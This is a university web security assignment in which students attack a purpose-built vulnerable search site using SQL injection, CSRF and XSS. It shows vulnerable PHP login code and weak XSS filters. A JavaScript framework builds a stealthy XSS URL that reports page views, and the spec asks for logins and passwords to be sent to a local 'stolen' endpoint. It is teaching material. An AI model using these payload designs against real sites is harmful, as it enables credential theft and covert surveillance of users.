Project 3: Web Security Pitfalls

This project is split into two parts, with the first checkpoint due on **Friday, November 11** at **12:00pm** and the second checkpoint due on **Friday, November 18** at **12:00pm**. We strongly recommend that you get started **early**.

This is a group project; you SHOULD work in **teams of 2** and if you are in teams of two, you MUST submit one project per team. Please find a partner as soon as possible. If have trouble forming a team, post to Piazza's partner search forum.

The code and other answers your group submits must be entirely your own work, and you are bound by the Honor Code. You MAY consult with other students about the conceptualization of the project and the meaning of the questions, but you MUST NOT look at any part of someone else's solution or collaborate with anyone outside your group. You may consult published references, provided that you appropriately cite them (e.g., with program comments), as you would in an academic paper.

Solutions MUST be submitted electronically by one of the group members. Details on the filename and submission guideline is listed at the end of the document.

Introduction

In this project, we provide an insecure version of this website, and your job is to attack it by exploiting three common classes of vulnerabilities: cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injection. You are also asked to exploit these problems with various flawed defenses in place. Understanding how these attacks work will help you better defend your own web applications.

Objectives:

- Learn to spot common vulnerabilities in websites and to avoid them in your own projects.
- Understand the risks these problems pose and the weaknesses of naive defenses.
- Gain experience with web architecture and with HTML, JavaScript, and SQL programming.

Guidelines

- You SHOULD work in a group of 2.
- You MUST use HTML, Javascript, and SQL to complete the project. You SHOULD use jQuery to complete the project.
- Your answers may or may not be the same as your classmates.

Read this First

This project asks you to develop attacks and test them, with our permission, against a target website that we are providing for this purpose. Attempting the same kinds of attacks against other websites without authorization is prohibited by law and university policies and may result in *fines, expulsion, and jail time*. **You must not attack any website without authorization!** Per the course ethics policy, you are required to respect the privacy and property rights of others at all times, *or else you will fail the course.*

General Guidelines

You SHOULD develop this project targeting Firefox 49, the latest version of Firefox, which you can download from `https://firefox.com`. Many browsers include different client-side defenses against XSS and CSRF that will interfere with your testing.

For your convenience during manual testing, we have included drop-down menus at the top of each page that let you change the CSRF and XSS defenses that are in use. The solutions you submit must override these selections by including the `csrfdefense=`n or `xssdefense=`n parameter in the target URL, as specified in each task below. You **MUST NOT** attempt to subvert the mechanism for changing the level of defense in your attacks.

In all parts, you should implement the simplest attack you can think of that defeats the given set of defenses. In other words, do not simply attack the highest level of defense and submit that attack as your solution for all defenses. Also, you do not need to try to combine the vulnerabilities, except where explicitly stated below.

Resources

The Firefox Web Developer tools will be a tremendous help for this project, particular the JavaScript console and debugger, DOM inspector, and network monitor. The developer tools can be found under Tools > Web Developer in Firefox. See `https://developer.mozilla.org/en-US/docs/Tools`.

Although general purpose tools are permitted, you **MUST NOT** use tools that are designed to automatically test for vulnerabilities.

Your solutions will involve manipulating SQL statements and writing web code using HTML, JavaScript, and the jQuery library. Feel free to search the web for answers to basic how-to questions. There are many fine online resources for learning these tools. Here are a few that we recommend:

Bottle Framework Tutorial:
`http://bottlepy.org/docs/dev/tutorial.html`
SQL Tutorial:
`http://www.w3schools.com/sql/`
SQL Statement Syntax:
`http://dev.mysql.com/doc/refman/5.5/en/sql-syntax.html`
MySQLdb API:
`http://mysql-python.sourceforge.net/MySQLdb-1.2.2/`
MySQL Connection/Python Developer Guide:
`http://dev.mysql.com/doc/connector-python/en/`
Introduction to HTML:
`https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introduction`
HTTP Made Really Easy:
`http://www.jmarshall.com/easy/http/`
JavaScript 101:
`http://learn.jquery.com/javascript-101/`
Using jQuery Core:
`http://learn.jquery.com/using-jquery-core/`
jQuery API Reference:
`http://api.jquery.com`

To learn more about SQL Injection, XSS, and CSRF attacks, and for tips on exploiting them, see:

`https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet`
`https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet`
`https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet`
`https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet`

Target Website

A startup named **Bungle!** is about to launch its first product—a web search engine—but their investors are nervous about security problems. Unlike the Bunglers who developed the site, you took CS 432/ELE 432, so the investors have hired you to perform a security evaluation before it goes live.

BUNGLE! is available for you to test at `http://cos432-assn3.cs.princeton.edu`.

The site is written in Python using the Bottle web framework. Although Bottle has built-in mechanisms that help guard against some common vulnerabilities, the Bunglers have circumvented or ignored these mechanisms in several places.

In addition to providing search results, the site accepts logins and tracks users' search histories. It stores usernames, passwords, and search history in a MySQL database.

Before being granted access to the source code, you reverse engineered the site and determined that it replies to five main URLs: `/`, `/search`, `/login`, `/logout`, and `/create`. The function of these URLs is explained below, but if you want an additional challenge, you can skip the rest of this section and do the reverse engineering yourself.

Main page (`/`) The main page accepts `GET` requests and displays a search form. When submitted, this form issues a `GET` request to `/search`, sending the search string as the parameter "`q`".

If no user is logged in, the main page also displays a form that gives the user the option of logging in or creating an account. The form issues `POST` requests to `/login` and `/create`.

Search results (`/search`) The search results page accepts `GET` requests and prints the search string, supplied in the "`q`" query parameter, along with the search results. If the user is logged in, the page also displays the user's recent search history in a sidebar.

Note: Since actual search is not relevant to this project, you might not receive any results.

Login handler (`/login`) The login handler accepts `POST` requests and takes plaintext "`username`" and "`password`" query parameters. It checks the user database to see if a user with those credentials exists. If so, it sets a login cookie and redirects the browser to the main page. The cookie tracks which user is logged in; manipulating or forging it is **not** part of this project.

Logout handler (`/logout`) The logout handler accepts `POST` requests. It deletes the login cookie, if set, and redirects the browser to the main page.

Create account handler (`/create`) The create account handler accepts `POST` requests and receives plaintext "`username`" and "`password`" query parameters. It inserts the username and password into the database of users, unless a user with that username already exists. It then logs the user in and redirects the browser to the main page.

Note: The password is neither sent nor stored securely; however, none of the attacks you implement should depend on this behavior. You should choose a password that other groups will not guess, but **never use an important password** to test an insecure site!

2.1 Checkpoint 1

2.1.1 SQL Injection

In this section, your goal is to demonstrate SQL injection attacks that log you in as an arbitrary user without knowing the password. Your job is to find SQL injection vulnerability for two targets. In order to protect other students' accounts, we've made a series of separate login forms for you to attack that aren't part of the main **BUNGLE!** site. For each of the following defenses, provide inputs to the target login form that successfully log you in as the user "`victim`".

2.1.1.1 No defenses

This target does not have any protection against SQL injection. The server uses the following PHP code (it is only part of the code).

```
if (isset($_POST['username']) and isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql_s = "SELECT * FROM users WHERE username='$username' and password='$password'";
    $rs = mysql_query($sql_s);
    if (mysql_num_rows($rs) > 0) {
        echo "Login successful!";
    } else {
        echo "Incorrect username or password";
    }
}
```

Target: `http://cos432-assn3.cs.princeton.edu/sqlinject0/`

2.1.1.2 Simple escaping

The server escapes single quotes (') in the inputs by replacing them with two single quotes.

```
if (isset($_POST['username']) and isset($_POST['password'])) {
    $username = str_replace("'", "''", $_POST['username']);
    $password = str_replace("'", "''", $_POST['password']);
    $sql_s = "SELECT * FROM users WHERE username='$username' and password='$password'";
    $rs = mysql_query($sql_s);
    if (mysql_num_rows($rs) > 0) {
        echo "Login successful!";
    } else {
        echo "Incorrect username or password";
    }
}
```

Target: `http://cos432-assn3.cs.princeton.edu/sqlinject1/`

2.1.1.3 Escaping and Hashing

The server uses the following PHP code, which escapes the username and applies the MD5 hash function to the password. (You may get 'Error in MySQL query.' with a correct pair of username and password but you can still attack it by SQL injection.)

```
if (isset($_POST['username']) and isset($_POST['password'])) {
    $username = mysql_real_escape_string($_POST['username']);
    $hash = md5($_POST['password'], true);
    $sql_s = "SELECT * FROM users WHERE username='$username' and passwordhash='$hash'";
    $rs = mysql_query($sql_s);
    if (mysql_num_rows($rs) > 0) {
        echo "Login successful!";
    } else {
        echo "Incorrect username or password";
    }
}
```

This is more difficult than the previous two defenses. You will need to write a program to produce a working exploit. You can use any language you like, but we recommend C. You MUST submit source code of this program compressed in .tar.gz and the .txt file which has a solution displayed on the webpage.

Target: `http://cos432-assn3.cs.princeton.edu/sqlinject2/`

What to submit

1. After you successfully logged in to target `http://cos432-assn3.cs.princeton.edu/sqlinject0/`, copy the value you obtained from the website to 2.1.1.1.txt.
2. After you successfully logged in to target `http://cos432-assn3.cs.princeton.edu/sqlinject1/`, copy the value you obtained from the website to 2.1.1.2.txt.
3. After you successfully logged in to target `http://cos432-assn3.cs.princeton.edu/sqlinject2/`, copy the value you obtained from the website to 2.1.1.3.txt.
4. 2.1.1.3.tar.gz: Submission for 2.1.1.3 which consists of a source code for 2.1.1.3.

2.1.2 Cross-site Request Forgery (CSRF)

2.1.2.1 No Defenses

Your next task is to demonstrate CSRF vulnerabilities against the login form, and **Bungle!** has provided two variations of their implementation for you to test. Your goal is to construct attacks that surreptitiously cause the victim to log in to an account you control, thus allowing you to monitor the victim's search queries by viewing the search history for this account. For each of the defenses below, create an HTML file that, when opened by a victim, logs their browser into **Bungle!** under the account "`attacker`" and password "`p_13tth5x`".

Target: `http://cos432-assn3.cs.princeton.edu/?csrfdefense=0&xssdefense=5`

2.1.2.2 Token validation

For this target, the server uses token validation mechanism. The server sets a cookie named `csrf_token` to a random 16-byte value and also include this value as a hidden field in the login form. When the form is submitted, the server verifies that the client's cookie matches the value in the form. You are allowed to exploit the XSS vulnerability to accomplish your goal.
Note: Your solution MUST NOT make infinite POST requests.

Target: `http://cos432-assn3.cs.princeton.edu/?csrfdefense=1&xssdefense=0`

What to submit

1. 2.1.2.1.html: Submission for 2.1.2.1.
2. 2.1.2.2.html: Submission for 2.1.2.2.

Your solutions should not display evidence of an attack; the browser should just display a blank page. (If the victim later visits Bungle, it will say "logged in as attacker", but that's fine for purposes of the project. After all, most users won't immediately notice.)
The HTML files you submit must be self-contained, but they may embed CSS and JavaScript. Your files may also load jQuery from the URL `http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js`. Make sure you test your solutions by opening them as local files in Firefox 49. We will use this setup for grading.

Note: Since you're sharing the `attacker` account with other students, we've harded coded it so the search history won't actually update. You can test with a different account you create to see the history change.

2.2 Checkpoint 2

2.2.1 Cross Site Scripting (XSS)

Attacking Bungle

Your final goal is to demonstrate XSS attacks against the **Bungle!** search box, which does not properly filter search terms before echoing them to the results page. For each of the defenses below, your goal is to construct a URL that, if loaded in the victim's browser, correctly executes the payload specified below. We recommend that you begin by testing with a simple payload (e.g., `alert(0);`), then move on to the full payload. Note that you should be able to implement the payload once, then use different means of encoding it to bypass the different defenses.

Payload

The payload (the code that the attack tries to execute) will be an extended form of spying and password theft. After the victim visits the URL you create, all functions of the **Bungle!** site should be under control of your code and should report what the user is doing to a server you control, until the user leaves the site. Your payload needs to accomplish these goals:

Stealth:

- Display all pages correctly, with no significant evidence of attack.
  (Minor text formatting glitches are acceptable. Also you can assume the user **will never click** the items in 'Search History'.)
- Display normal URLs in the browser's location bar, with no evidence of attack.
  (Hint: Learn about the HTML5 History API.)
- Hide evidence of attack in the **Bungle!** search history view, as long as your code is running.

Persistence:

- Continue the attack if the user navigates to another page on the site by following a link or submitting a form, including by logging in or logging out. (Your code does **not** have to continue working if the user's actions trigger an error that isn't the fault of your code.)
- Continue the attack if the user navigates to another **Bungle!** page by using the browser's back or forward buttons.

Spying:

- Report all login and logout events by loading the URLs:
  `http://127.0.0.1:31337/stolen?event=login&user=<username>&pass=<password>`
  `http://127.0.0.1:31337/stolen?event=logout&user=<username>`

  You can test receiving this data on your local machine by using Netcat: `$ nc -l 31337`

- Report each page that is displayed (what the user thinks they're seeing) by loading the URL: `http://127.0.0.1:31337/stolen?event=nav&user=<username>&url=<encoded_url>` (`<username>` should be omitted if no user is logged in.)

Defenses

There are five levels of defense. In each case, you SHOULD submit the simplest attack you can find that works against that defense; you SHOULD NOT simply attack the highest level and submit your solution for that level for every level. Try to use a different technique for each defense. The Python code that implements each defense is shown below, along with the target URL.

2.2.1.1 Warm up

To get you comfortable with the concept of XSS, we setup a dummy website for you to work with. The website accept a single GET parameter `name` that is vulnerable to XSS attack. Your goal is to change the "Click me" link to redirect the victim to `http://ee.princeton.edu/`.

Target: `http://cos432-assn3.cs.princeton.edu/multivac/`

2.2.1.2 No defenses

Target: `http://cos432-assn3.cs.princeton.edu/search?xssdefense=0`

Also submit a human readable version of the code you use to generate your URL for 2.2.1.2, as a file named 2.2.1.2_payload.html.

2.2.1.3 Remove "script"

```
filtered = re.sub(r"(?i)script", "", input)
```

Target: `http://cos432-assn3.cs.princeton.edu/search?xssdefense=1`

2.2.1.4 Recursively removing "script"

A function shown below filters the user input.

```
def filter(input):
    original = input
    filtered = re.sub(r"(?i)script", "", input)
    while original != filtered:
        original = filtered
        filtered = re.sub(r"(?i)script", "", original)
    return filtered
```

Target: `http://cos432-assn3.cs.princeton.edu/search?xssdefense=2`

2.2.1.5 Recursively Removing several tags

Likewise, a function filter(input) filters the user input.

```
def filter(input):
    original = input
    filtered = re.sub(r"(?i)script|<img|<body|<style|<meta|<embed|<object"
                              "", input)
    while original != filtered:
        original = filtered
        filtered = re.sub(r"(?i)script|<img|<body|<style|<meta|<embed|<object"
                          "", original)
    return filtered
```

Target: `http://cos432-assn3.cs.princeton.edu/search?xssdefense=3`

What to submit

1. Submission the URL for 2.2.1.1 to 2.2.1.1.txt.
2. Submit the URL for 2.2.1.2 to 2.2.1.2.txt and the payload for creating the URL to 2.2.1.2_payload.html.
3. Submit the URL for 2.2.1.3 in 2.2.1.3.txt.
4. Submit the URL for 2.2.1.4 in 2.2.1.4.txt.
5. Submit the URL for 2.2.1.5 in 2.2.1.5.txt.

Your submission for each level of defense will be a text file with the specified filename that contains a single line consisting of a URL. When this URL is loaded in a victim's browser, it should execute the specified payload against the specified target. The payload encoded in your URLs must be self-contained, but they may embed CSS and JavaScript. Your payload may also load jQuery from the URL `http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js`. Make sure you test your solutions in Firefox 49, the browser we will use for grading.

Framework Code

You may build your XSS attacks by extending the following framework if you wish. (It simply changes the content in the search bar.)

```
<meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
// Extend this function:
function payload(attacker) {
    function log(data) {
        console.log($.param(data))
        $.get(attacker, data);
    }
    function proxy(href) {
        var stateObj = { foo: href };
        history.pushState(stateObj, "page 2", href);
        $("html").load(href, function(){
            $("html").show();
            log({event: "nav", uri: href});
            $("#query").val("pwned!");
        });
    }
    $("html").hide();
    proxy("/");
}

function makeLink(xssdefense, target, attacker) {
    if (xssdefense == 0) {
        return target + "/search?xssdefense=" + xssdefense.toString() + "&q=" +
            encodeURIComponent("<script" + ">" + payload.toString() +
            ";payload(\"" + attacker + "\");</script" + ">");
    } else {
        // Implement code to defeat XSS defenses here.
    }
}

var xssdefense = 0;
var target = "http://cos432-assn3.cs.princeton.edu/";
var attacker = "http://127.0.0.1:31337/stolen";
$(function() {
    var url = makeLink(xssdefense, target, attacker);
    $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
});
</script>
<h3></h3>
```